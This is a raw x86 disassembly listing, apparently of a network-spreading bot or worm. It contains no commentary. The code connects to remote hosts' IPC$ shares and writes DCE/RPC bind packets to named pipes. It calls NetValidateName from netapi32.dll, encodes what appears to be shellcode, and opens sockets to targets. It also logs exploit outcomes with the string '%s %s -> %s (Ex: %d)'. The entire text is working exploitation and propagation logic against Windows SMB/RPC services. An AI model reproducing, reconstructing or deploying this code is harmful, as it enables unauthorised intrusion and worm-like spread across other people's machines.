		call	edi ; dword_437190
		push	ebx
		inc	esi
		call	sub_4293A0
		cmp	esi, eax
		pop	ecx
		jb	short loc_409583


loc_4095BF:				; CODE XREF: sub_408B99+9E8j
		push	ebp
		call	edi ; dword_437190
		mov	esi, [esp+80h+var_70]
		lea	eax, [esp+80h+var_50]
		push	0
		push	eax
		push	esi
		call	sub_408029
		add	esp, 0Ch
		push	7530h
		call	edi ; dword_437190
		xor	ebx, ebx
		lea	eax, [esp+84h+var_6C]
		inc	ebx
		push	ebx
		push	eax
		push	esi
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+88h+var_68]
		push	0
		push	eax
		push	esi
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+8Ch+var_74]
		push	2
		push	eax
		push	esi
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		mov	eax, [esp+90h+arg_28D0]
		mov	dword_4556C0, ebx
		shl	eax, 6
		lea	eax, dword_43A380[eax]
		inc	dword ptr [eax]
		jmp	short loc_409636
; ---------------------------------------------------------------------------


loc_409632:				; CODE XREF: sub_408B99+6B1j
					; sub_408B99+6CCj
		mov	esi, [esp+6Ch+var_5C]


loc_409636:				; CODE XREF: sub_408B99+A97j
		push	esi
		call	dword_4372D8	; closesocket
		xor	eax, eax
		inc	eax
		jmp	loc_40922A
sub_408B99	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmp	off_43EDE8, 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_4096A2
		mov	ebx, offset off_43EDE8


loc_409656:				; CODE XREF: .text:004096A0j
		cmp	dword_4556C0, 0
		jnz	short loc_4096A2
		push	dword ptr [ebx]
		lea	esi, [esp+1Ch]
		sub	esp, 0C4h
		push	31h
		pop	ecx
		mov	edi, esp
		push	dword ptr [esp+0DCh]
		rep movsd
		push	dword ptr [esp+0DCh]
		call	sub_408B99
		add	esp, 0D0h
		test	eax, eax
		jnz	short loc_40969A
		push	3E80h
		call	dword_437190	; Sleep


loc_40969A:				; CODE XREF: .text:0040968Dj
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_409656


loc_4096A2:				; CODE XREF: .text:0040964Fj
					; .text:0040965Dj
		xor	eax, eax
		pop	edi
		pop	esi
		inc	eax
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4096A9	proc near		; CODE XREF: sub_4097B9+EEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		xor	edx, edx
		cmp	[esp+arg_4], edx
		jbe	short locret_4096D9
		push	esi
		mov	esi, [esp+4+arg_8]


loc_4096B6:				; CODE XREF: sub_4096A9+2Dj
		mov	eax, [esp+4+arg_0]
		mov	cl, [edx+eax]
		mov	al, cl
		and	cl, 0Fh
		shr	al, 4
		add	cl, 41h
		add	al, 41h
		mov	[esi+edx*2], cl
		mov	[esi+edx*2+1], al
		inc	edx
		cmp	edx, [esp+4+arg_4]
		jb	short loc_4096B6
		pop	esi

locret_4096D9:				; CODE XREF: sub_4096A9+6j
		retn
sub_4096A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4096DA	proc near		; CODE XREF: sub_4096DA+CDp
					; sub_4097B9+493p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_4096EE
		or	[ebp+arg_7], 1
		jmp	short loc_4096F2
; ---------------------------------------------------------------------------


loc_4096EE:				; CODE XREF: sub_4096DA+Cj
		and	[ebp+arg_7], 0FEh


loc_4096F2:				; CODE XREF: sub_4096DA+12j
		mov	ebx, [ebp+arg_20]
		mov	eax, [ebp+arg_24]
		lea	ecx, [ebx+18h]
		cmp	ecx, eax
		ja	short loc_409713
		or	[ebp+arg_7], 2
		and	byte ptr [ebp+arg_28+3], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_409725
; ---------------------------------------------------------------------------


loc_409713:				; CODE XREF: sub_4096DA+23j
		mov	[ebp+arg_C], ax
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_14], eax
		mov	byte ptr [ebp+arg_28+3], 1


loc_409725:				; CODE XREF: sub_4096DA+37j
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_4297B8
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jnz	short loc_40973E


loc_40973A:				; CODE XREF: sub_4096DA+A4j
		xor	eax, eax
		jmp	short loc_4097B4
; ---------------------------------------------------------------------------


loc_40973E:				; CODE XREF: sub_4096DA+5Ej
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_429420
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_437078	; WriteFile
		push	[ebp+arg_20]
		test	eax, eax
		jnz	short loc_409780
		call	sub_4298F2
		pop	ecx
		jmp	short loc_40973A
; ---------------------------------------------------------------------------


loc_409780:				; CODE XREF: sub_4096DA+9Cj
		call	sub_4298F2
		cmp	byte ptr [ebp+arg_28+3], 0
		pop	ecx
		jz	short loc_4097B1
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_4096DA
		add	esp, 2Ch
		jmp	short loc_4097B4
; ---------------------------------------------------------------------------


loc_4097B1:				; CODE XREF: sub_4096DA+B0j
		xor	eax, eax
		inc	eax


loc_4097B4:				; CODE XREF: sub_4096DA+62j
					; sub_4096DA+D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4096DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097B9	proc near		; CODE XREF: .text:00409D8Fp
					; .text:00409DB4p ...

var_CC48	= byte ptr -0CC48h
var_8C48	= byte ptr -8C48h
var_6C48	= byte ptr -6C48h
var_4C48	= byte ptr -4C48h
var_2C48	= word ptr -2C48h
var_10F0	= dword	ptr -10F0h
var_7F4		= byte ptr -7F4h
var_7EF		= byte ptr -7EFh
var_7B0		= byte ptr -7B0h
var_344		= byte ptr -344h
var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_6B		= byte ptr -6Bh
var_6A		= byte ptr -6Ah
var_69		= byte ptr -69h
var_68		= dword	ptr -68h
var_64		= word ptr -64h
var_62		= word ptr -62h
var_60		= dword	ptr -60h
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= word ptr -50h
var_4E		= byte ptr -4Eh
var_4C		= byte ptr -4Ch
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= dword	ptr -20h
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_B0		= dword	ptr  0B8h
arg_B8		= dword	ptr  0C0h
arg_C0		= dword	ptr  0C8h
arg_C8		= dword	ptr  0D0h
arg_CC		= dword	ptr  0D4h

		push	ebp
		mov	ebp, esp
		mov	eax, 0CC48h
		call	sub_429B60
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_404525
		pop	ecx
		cmp	eax, 3
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4097F7
		lea	eax, [ebp+arg_4]
		push	5
		push	eax
		call	sub_404525
		pop	ecx
		cmp	eax, 3
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	loc_409C75


loc_4097F7:				; CODE XREF: sub_4097B9+23j
		mov	eax, dword_43EFB0
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jz	loc_409C75
		push	2B1h
		lea	eax, [ebp+var_344]
		push	ebx
		push	eax
		call	sub_429760
		mov	esi, 0DACh
		lea	eax, [ebp+var_10F0]
		push	esi
		push	ebx
		push	eax
		call	sub_429760
		push	1B58h
		lea	eax, [ebp+var_2C48]
		push	ebx
		push	eax
		call	sub_429760
		push	0DABh
		lea	eax, [ebp+var_10F0]
		push	41h
		push	eax
		call	sub_429760
		mov	edi, [ebp+arg_0]
		push	5
		push	offset dword_43EFB4
		lea	edi, [edi+edi*2]
		shl	edi, 2
		mov	eax, dword ptr (loc_43F012+2)[edi]
		mov	ecx, dword ptr (loc_43F00F+1)[edi]
		mov	[ebp+eax+var_10F0], ecx
		lea	eax, [ebp+var_7F4]
		push	eax
		call	sub_429420
		push	3Fh
		lea	eax, [ebp+var_7EF]
		push	offset sub_43EFD0
		push	eax
		call	sub_429420
		add	esp, 48h
		lea	eax, [ebp+var_344]
		push	eax
		push	[ebp+var_C]
		push	offset dword_43A8E8
		call	sub_4096A9
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_4293A0
		push	eax
		lea	eax, [ebp+var_344]
		push	eax
		lea	eax, [ebp+var_7B0]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_4293A0
		add	esp, 20h
		cmp	[ebp+var_4], 3
		mov	[ebp+eax+var_7B0], bl
		jnz	short loc_409900
		xor	eax, eax


loc_4098EA:				; CODE XREF: sub_4097B9+145j
		movzx	cx, byte ptr [ebp+eax+var_10F0]
		mov	[ebp+eax*2+var_2C48], cx
		inc	eax
		cmp	eax, esi
		jb	short loc_4098EA


loc_409900:				; CODE XREF: sub_4097B9+12Dj
		lea	eax, [ebp+arg_4]
		mov	esi, 2000h
		push	eax
		push	offset aS_0	; "\\\\%s"
		lea	eax, [ebp+var_6C48]
		push	esi
		push	eax
		call	sub_429BBE
		lea	eax, [ebp+var_6C48]
		push	esi
		push	eax
		lea	eax, [ebp+var_CC48]
		push	eax
		call	sub_42AA24
		lea	eax, [ebp+arg_4]
		push	offset dword_43AB8C
		push	eax
		call	sub_42A8C0
		add	esp, 24h
		test	eax, eax
		jz	short loc_40999C
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset dword_43CB4C
		lea	eax, [ebp+var_8C48]
		push	esi
		push	eax
		call	sub_429BBE
		push	esi
		lea	eax, [ebp+var_8C48]
		push	offset aIpc	; "IPC$"
		push	eax
		call	sub_4299E0
		push	20h
		lea	eax, [ebp+var_90]
		push	ebx
		push	eax
		call	sub_429760
		lea	eax, [ebp+var_8C48]
		add	esp, 28h
		mov	[ebp+var_7C], eax
		mov	eax, offset byte_454A54
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		call	dword_457000


loc_40999C:				; CODE XREF: sub_4097B9+189j
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset dword_43CB4C
		lea	eax, [ebp+var_4C48]
		push	esi
		push	eax
		call	sub_429BBE
		push	esi
		lea	eax, [ebp+var_4C48]
		push	offset dword_43F078
		push	eax
		call	sub_4299E0
		add	esp, 1Ch
		lea	eax, [ebp+var_4C48]
		push	ebx
		push	ebx
		push	3
		push	ebx
		push	3
		push	40000000h
		push	eax
		call	dword_43705C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_409C6A
		push	48h
		lea	eax, [ebp+var_6C]
		push	ebx
		push	eax
		call	sub_429760
		xor	eax, eax
		push	10h
		inc	eax
		pop	esi
		mov	[ebp+var_60], eax
		mov	[ebp+var_54], eax
		mov	[ebp+var_4E], al
		mov	[ebp+var_3C], eax
		push	esi
		lea	eax, [ebp+var_4C]
		push	offset dword_43F064
		push	eax
		mov	[ebp+var_6C], 5
		mov	[ebp+var_6B], bl
		mov	[ebp+var_6A], 0Bh
		mov	[ebp+var_69], 3
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], 48h
		mov	[ebp+var_62], bx
		mov	[ebp+var_5C], 10B8h
		mov	[ebp+var_5A], 10B8h
		mov	[ebp+var_58], ebx
		mov	[ebp+var_50], bx
		call	sub_429420
		push	esi
		lea	eax, [ebp+var_38]
		push	offset dword_43E15C
		push	eax
		mov	[ebp+var_28], 2
		call	sub_429420
		add	esp, 24h
		lea	eax, [ebp+var_70]
		push	ebx
		push	eax
		lea	eax, [ebp+var_6C]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	dword_437078	; WriteFile
		test	eax, eax
		jnz	short loc_409A87


loc_409A79:				; CODE XREF: sub_4097B9+339j
		push	[ebp+var_4]
		call	dword_437044	; CloseHandle
		jmp	loc_409C6A
; ---------------------------------------------------------------------------


loc_409A87:				; CODE XREF: sub_4097B9+2BEj
		lea	eax, [ebp+var_CC48]
		push	eax
		call	sub_42AA07
		lea	eax, [eax+eax+12h]
		pop	ecx
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_409AA8


loc_409A9F:				; CODE XREF: sub_4097B9+2EDj
		inc	[ebp+arg_0]
		test	byte ptr [ebp+arg_0], 3
		jnz	short loc_409A9F


loc_409AA8:				; CODE XREF: sub_4097B9+2E4j
		cmp	byte ptr (loc_43F017+1)[edi], bl
		jz	short loc_409AB4
		add	[ebp+arg_0], 4


loc_409AB4:				; CODE XREF: sub_4097B9+2F5j
		lea	eax, [ebp+var_2C48]
		push	eax
		call	sub_42AA07
		pop	ecx
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*2+0Eh]
		jmp	short loc_409ACB
; ---------------------------------------------------------------------------


loc_409ACA:				; CODE XREF: sub_4097B9+314j
		inc	eax


loc_409ACB:				; CODE XREF: sub_4097B9+30Fj
		test	al, 3
		jnz	short loc_409ACA
		add	eax, 8
		cmp	byte ptr (loc_43F017+1)[edi], bl
		jz	short loc_409ADF
		add	eax, 4
		jmp	short loc_409AE1
; ---------------------------------------------------------------------------


loc_409ADF:				; CODE XREF: sub_4097B9+31Fj
		inc	eax
		inc	eax


loc_409AE1:				; CODE XREF: sub_4097B9+324j
		push	eax
		mov	[ebp+arg_0], eax
		call	sub_4297B8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp+var_C], esi
		jz	short loc_409A79
		push	[ebp+arg_0]
		push	ebx
		push	esi
		call	sub_429760
		push	4
		push	offset dword_43EFBC
		push	esi
		call	sub_429420
		lea	eax, [ebp+var_CC48]
		push	eax
		call	sub_42AA07
		inc	eax
		mov	[esi+8], ebx
		mov	[esi+0Ch], eax
		mov	[esi+4], eax
		lea	eax, [ebp+var_CC48]
		push	eax
		lea	eax, [esi+10h]
		push	eax
		call	sub_429C39
		lea	eax, [ebp+var_CC48]
		push	eax
		call	sub_42AA07
		lea	eax, [eax+eax+12h]
		add	esp, 28h
		test	al, 3
		mov	[ebp+var_8], eax
		jz	short loc_409B53


loc_409B4B:				; CODE XREF: sub_4097B9+395j
		inc	eax
		test	al, 3
		jnz	short loc_409B4B
		mov	[ebp+var_8], eax


loc_409B53:				; CODE XREF: sub_4097B9+390j
		cmp	byte ptr (loc_43F017+1)[edi], bl
		jz	short loc_409B71
		push	4
		add	eax, esi
		push	offset dword_43EFC4
		push	eax
		call	sub_429420
		add	esp, 0Ch
		add	[ebp+var_8], 4


loc_409B71:				; CODE XREF: sub_4097B9+3A0j
		lea	eax, [ebp+var_2C48]
		push	eax
		call	sub_42AA07
		mov	ecx, [ebp+var_8]
		inc	eax
		mov	[ecx+esi+8], eax
		mov	[ecx+esi+4], ebx
		mov	[ecx+esi], eax
		add	ecx, 0Ch
		mov	[ebp+var_8], ecx
		lea	eax, [ebp+var_2C48]
		add	ecx, esi
		push	eax
		push	ecx
		call	sub_429C39
		lea	eax, [ebp+var_2C48]
		push	eax
		call	sub_42AA07
		mov	ecx, [ebp+var_8]
		add	esp, 10h
		lea	eax, [ecx+eax*2+2]
		test	al, 3
		mov	[ebp+var_8], eax
		jz	short loc_409BC6


loc_409BBE:				; CODE XREF: sub_4097B9+408j
		inc	eax
		test	al, 3
		jnz	short loc_409BBE
		mov	[ebp+var_8], eax


loc_409BC6:				; CODE XREF: sub_4097B9+403j
		push	8
		add	eax, esi
		push	ebx
		push	eax
		call	sub_429760
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		add	eax, 8
		cmp	byte ptr (loc_43F017+1)[edi], bl
		jz	short loc_409BE7
		mov	[eax+esi], ebx
		jmp	short loc_409BED
; ---------------------------------------------------------------------------


loc_409BE7:				; CODE XREF: sub_4097B9+427j
		mov	word ptr [eax+esi], 1


loc_409BED:				; CODE XREF: sub_4097B9+42Cj
		push	18h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_429760
		xor	eax, eax
		add	esp, 0Ch
		inc	eax
		xor	ecx, ecx
		cmp	byte ptr (loc_43F017+1)[edi], bl
		push	eax
		push	10B8h
		mov	[ebp+var_24], 5
		push	[ebp+arg_0]
		mov	[ebp+var_23], bl
		setnz	cl
		push	esi
		lea	esi, [ebp+var_24]
		sub	esp, 18h
		lea	ecx, [ecx+ecx+19h]
		mov	[ebp+var_E], cx
		mov	[ebp+var_22], bl
		push	6
		mov	[ebp+var_21], 3
		pop	ecx
		mov	[ebp+var_20], 10h
		mov	edi, esp
		push	[ebp+var_4]
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], eax
		mov	[ebp+var_10], bx
		rep movsd
		call	sub_4096DA
		add	esp, 2Ch
		test	eax, eax
		push	[ebp+var_4]
		jnz	short loc_409C7C
		call	dword_437044	; CloseHandle
		push	[ebp+var_C]
		call	sub_4298F2
		pop	ecx


loc_409C6A:				; CODE XREF: sub_4097B9+22Dj
					; sub_4097B9+2C9j
		push	ebx
		push	ebx
		push	[ebp+var_7C]
		call	dword_456FB0


loc_409C75:				; CODE XREF: sub_4097B9+38j
					; sub_4097B9+4Aj
		xor	eax, eax
		jmp	loc_409D58
; ---------------------------------------------------------------------------


loc_409C7C:				; CODE XREF: sub_4097B9+4A0j
		call	dword_437044	; CloseHandle
		push	[ebp+var_C]
		call	sub_4298F2
		pop	ecx
		push	ebx
		push	ebx
		push	[ebp+var_7C]
		call	dword_456FB0
		push	7D0h
		call	dword_437190	; Sleep
		movzx	eax, word_44399E
		push	eax
		lea	esi, [ebp+arg_4]
		sub	esp, 0C4h
		push	31h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401B6E
		add	esp, 0C8h
		test	eax, eax
		jz	loc_409D55
		mov	edx, [ebp+arg_B0]
		mov	edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		mov	eax, edx
		mov	esi, offset aSSSExD ; "%s %s ->	%s (Ex:	%d)"
		shl	eax, 6
		lea	ecx, dword_43A380[eax]
		inc	dword ptr [ecx]
		cmp	[ebp+arg_C0], ebx
		mov	ecx, [ecx]
		jz	short loc_409D23
		cmp	[ebp+arg_B8], ebx
		jnz	short loc_409D2B
		push	ecx
		lea	ecx, [ebp+arg_4]
		lea	eax, dword_43A357[eax]
		push	ecx
		push	eax
		push	edi
		push	esi
		push	[ebp+arg_C8]
		push	[ebp+arg_CC]
		call	sub_41CE4A
		mov	edx, [ebp+arg_B0]
		add	esp, 1Ch


loc_409D23:				; CODE XREF: sub_4097B9+538j
		cmp	[ebp+arg_B8], ebx
		jz	short loc_409D55


loc_409D2B:				; CODE XREF: sub_4097B9+540j
		shl	edx, 6
		lea	eax, [ebp+arg_4]
		push	dword_43A380[edx]
		push	eax
		lea	eax, dword_43A357[edx]
		push	eax
		push	edi
		push	esi
		push	[ebp+arg_C8]
		push	[ebp+arg_CC]
		call	sub_41CDD4
		add	esp, 1Ch


loc_409D55:				; CODE XREF: sub_4097B9+50Dj
					; sub_4097B9+570j
		xor	eax, eax
		inc	eax


loc_409D58:				; CODE XREF: sub_4097B9+4BEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4097B9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+10h]
		push	ebx
		push	eax
		call	sub_404525
		pop	ecx
		cmp	eax, 3
		pop	ecx
		jnz	short loc_409DCA
		push	dword ptr [ebp+0Ch]
		lea	esi, [ebp+10h]
		push	dword ptr [ebp+8]
		sub	esp, 0C4h
		push	31h
		pop	ecx
		mov	edi, esp
		push	ebx
		rep movsd
		call	sub_4097B9
		add	esp, 0D0h
		lea	esi, [ebp+10h]
		mov	[ebp-4], eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		sub	esp, 0C4h
		push	31h
		pop	ecx
		mov	edi, esp
		push	ebx
		rep movsd
		call	sub_4097B9
		add	esp, 0D0h
		test	eax, eax
		jnz	short loc_409DF0
		cmp	[ebp-4], eax
		jnz	short loc_409DF0
		jmp	short loc_409DF2
; ---------------------------------------------------------------------------


loc_409DCA:				; CODE XREF: .text:00409D76j
		cmp	eax, 2
		jnz	short loc_409DF0
		sub	esp, 0C4h
		lea	esi, [ebp+10h]
		push	31h
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp+0Ch]
		rep movsd
		push	dword ptr [ebp+8]
		call	sub_409FC8
		add	esp, 0CCh


loc_409DF0:				; CODE XREF: .text:00409DC1j
					; .text:00409DC6j ...
		mov	eax, ebx


loc_409DF2:				; CODE XREF: .text:00409DC8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+10h]
		push	1
		push	eax
		call	sub_404525
		pop	ecx
		cmp	eax, 3
		pop	ecx
		jnz	loc_409EB4
		mov	ebx, [ebp+0Ch]
		lea	esi, [ebp+10h]
		push	ebx
		push	dword ptr [ebp+8]
		sub	esp, 0C4h
		push	31h
		pop	ecx
		mov	edi, esp
		push	0
		rep movsd
		call	sub_4097B9
		add	esp, 0D0h
		lea	esi, [ebp+10h]
		mov	[ebp+0Ch], eax
		push	ebx
		push	dword ptr [ebp+8]
		sub	esp, 0C4h
		push	31h
		pop	ecx
		mov	edi, esp
		push	0
		rep movsd
		call	sub_4097B9
		add	esp, 0D0h
		test	eax, eax
		jnz	short loc_409E88
		cmp	[ebp+0Ch], eax
		jnz	short loc_409E88
		push	ebx
		lea	esi, [ebp+10h]
		push	dword ptr [ebp+8]
		sub	esp, 0C4h
		push	31h
		pop	ecx
		mov	edi, esp
		push	2
		rep movsd
		call	sub_4097B9
		add	esp, 0D0h
		mov	[ebp+0Ch], eax


loc_409E88:				; CODE XREF: .text:00409E5Dj
					; .text:00409E62j
		push	ebx
		lea	esi, [ebp+10h]
		push	dword ptr [ebp+8]
		sub	esp, 0C4h
		push	31h
		pop	ecx
		mov	edi, esp
		push	2
		rep movsd
		call	sub_4097B9
		add	esp, 0D0h
		test	eax, eax
		jnz	short loc_409EDA
		cmp	[ebp+0Ch], eax
		jnz	short loc_409EDA
		jmp	short loc_409EDD
; ---------------------------------------------------------------------------


loc_409EB4:				; CODE XREF: .text:00409E0Dj
		cmp	eax, 2
		jnz	short loc_409EDA
		sub	esp, 0C4h
		lea	esi, [ebp+10h]
		push	31h
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp+0Ch]
		rep movsd
		push	dword ptr [ebp+8]
		call	sub_409FC8
		add	esp, 0CCh


loc_409EDA:				; CODE XREF: .text:00409EABj
					; .text:00409EB0j ...
		xor	eax, eax
		inc	eax


loc_409EDD:				; CODE XREF: .text:00409EB2j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409EE2	proc near		; DATA XREF: sub_409FAF+6o

var_220		= byte ptr -220h
var_120		= byte ptr -120h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_437034	; LoadLibraryA
		push	offset aNetvalidatenam ; "NetValidateName"
		push	eax
		mov	dword_4557E0, eax
		call	dword_437030	; GetProcAddress
		xor	edi, edi
		mov	dword_4557D4, eax
		cmp	eax, edi
		jz	loc_409FAC
		push	esi
		mov	esi, 80h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_120]
		push	offset aSIpc_0	; "\\\\%s\\IPC$"
		push	esi
		push	eax
		call	sub_429BBE
		push	[ebp+arg_0]
		lea	eax, [ebp+var_A0]
		push	offset aS_0	; "\\\\%s"
		push	esi
		push	eax
		call	sub_429BBE
		add	esp, 20h
		lea	eax, [ebp+var_220]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4293A0
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	edi
		push	edi
		call	dword_437184	; MultiByteToWideChar
		lea	eax, [ebp+var_120]
		push	edi
		mov	[ebp+var_C], eax
		mov	eax, offset byte_454A54
		push	eax
		push	eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_10], edi
		push	eax
		mov	[ebp+var_4], edi
		mov	[ebp+var_1C], edi
		call	sub_4290C4
		push	edi
		push	edi
		push	edi
		lea	eax, [ebp+var_220]
		push	offset byte_4557E8
		push	eax
		call	dword_4557D4
		add	esp, 14h
		pop	esi


loc_409FAC:				; CODE XREF: sub_409EE2+2Fj
		pop	edi
		leave
		retn
sub_409EE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_409FAF	proc near		; CODE XREF: sub_409FC8+E6p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	0
		push	offset sub_409EE2
		call	sub_42AB81
		add	esp, 0Ch
		mov	dword_4557D8, eax
		retn
sub_409FAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409FC8	proc near		; CODE XREF: .text:00409DE5p
					; .text:00409ECFp

var_190		= byte ptr -190h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_B4		= dword	ptr  0BCh
arg_BC		= dword	ptr  0C4h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		push	esi
		push	edi
		lea	eax, [ebp+arg_8]
		push	1
		push	eax
		call	sub_404525
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+arg_8]
		jz	short loc_409FEB
		push	1
		jmp	short loc_409FED
; ---------------------------------------------------------------------------


loc_409FEB:				; CODE XREF: sub_409FC8+1Dj
		push	5


loc_409FED:				; CODE XREF: sub_409FC8+21j
		push	eax
		call	sub_404525
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	eax, [ebp+arg_8]
		push	eax
		call	dword_4372C0	; inet_addr
		cmp	esi, 9
		jz	short loc_40A085
		push	5
		cmp	esi, 3
		pop	eax
		jnz	short loc_40A011
		push	4
		pop	eax


loc_40A011:				; CODE XREF: sub_409FC8+44j
		cmp	esi, 2
		jnz	short loc_40A019
		xor	eax, eax
		inc	eax


loc_40A019:				; CODE XREF: sub_409FC8+4Cj
		mov	edi, dword_43F048[eax*4]
		mov	esi, 0A28h
		push	esi
		push	90h
		push	offset byte_4557E8
		call	sub_429760
		mov	eax, edi
		mov	ecx, 1FBh
		mov	edi, offset byte_4557E9
		add	esp, 0Ch
		rep stosd
		lea	eax, [ebp+var_190]
		push	eax
		push	101h
		call	dword_4372B8	; WSAStartup
		test	eax, eax
		jnz	short loc_40A085
		push	6
		push	1
		push	2
		call	dword_4372BC	; socket
		mov	ax, word_44399E
		push	eax
		call	dword_4372C4	; ntohs
		mov	ecx, dword_43F060
		lea	eax, [ecx+7FEh]
		cmp	eax, esi
		jle	short loc_40A08C


loc_40A085:				; CODE XREF: sub_409FC8+3Cj
					; sub_409FC8+92j
		xor	eax, eax
		jmp	loc_40A17A
; ---------------------------------------------------------------------------


loc_40A08C:				; CODE XREF: sub_409FC8+BBj
		test	ecx, ecx
		jle	short loc_40A0A8
		mov	eax, ecx
		mov	esi, offset dword_43A8E8
		mov	edi, offset word_455FE6
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_40A0A8:				; CODE XREF: sub_409FC8+C6j
		lea	eax, [ebp+arg_8]
		push	14h
		push	eax
		call	sub_409FAF
		pop	ecx
		pop	ecx
		push	7D0h
		call	dword_437190	; Sleep
		movzx	eax, word_44399E
		push	eax
		lea	esi, [ebp+arg_8]
		sub	esp, 0C4h
		push	31h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401B6E
		add	esp, 0C8h
		test	eax, eax
		jz	loc_40A16D
